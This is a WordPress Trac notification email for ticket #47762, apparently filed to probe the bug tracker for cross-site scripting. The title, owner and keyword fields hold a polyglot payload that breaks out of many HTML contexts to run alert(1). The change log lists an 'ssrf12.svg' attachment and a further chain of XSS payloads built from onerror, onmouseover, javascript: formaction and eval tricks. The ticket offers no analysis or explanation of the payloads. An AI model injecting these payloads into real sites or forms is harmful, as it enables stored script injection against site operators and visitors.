[wp-trac] [WordPress Trac] #47762: *–>]]>%>?></object></script></title></textarea></noscript></style></xmp>’-/"/-alert(1)//><img src=1 onerror=alert(1)>’

[WordPress Trac]

#47762: *–>]]>%>?></object></script></title></textarea></noscript></style></xmp>’-/"/-alert(1)//><img
src=1 onerror=alert(1)>’
-------------------------------------+-------------------------------------
 Reporter:  testahmed                |       Owner:
                                     |  *–>]]>%>?></object></script></title></textarea></noscript></style></xmp>’-/"/-alert(1)//><img
                                     |  src=1 onerror=alert(1)>’
     Type:  defect (bug)             |      Status:  assigned
 Priority:  normal                   |   Milestone:  Awaiting Review
Component:  General                  |     Version:
 Severity:  normal                   |  Resolution:
 Keywords:                           |     Focuses:  accessibility
  *–>]]>%>?></object></script></title></textarea></noscript></style></xmp>’-/"/-alert(1)//><img|
  src=1 onerror=alert(1)>’           |
-------------------------------------+-------------------------------------
Changes (by testahmed):

 * Attachment "ssrf12.svg" added.

 ">><marquee><img src=x
 onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>@gmail.com<isindex
 formaction=javascript:alert(/XSS/)
 type=submit>'-->"></script><script>alert(1)</script>"><img/id="confirm(1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img
 src="http://i.imgur.com/P8mL8.jpg">

-- 
Ticket URL: <https://core.trac.wordpress.org/ticket/47762>
WordPress Trac <https://core.trac.wordpress.org/>
WordPress publishing platform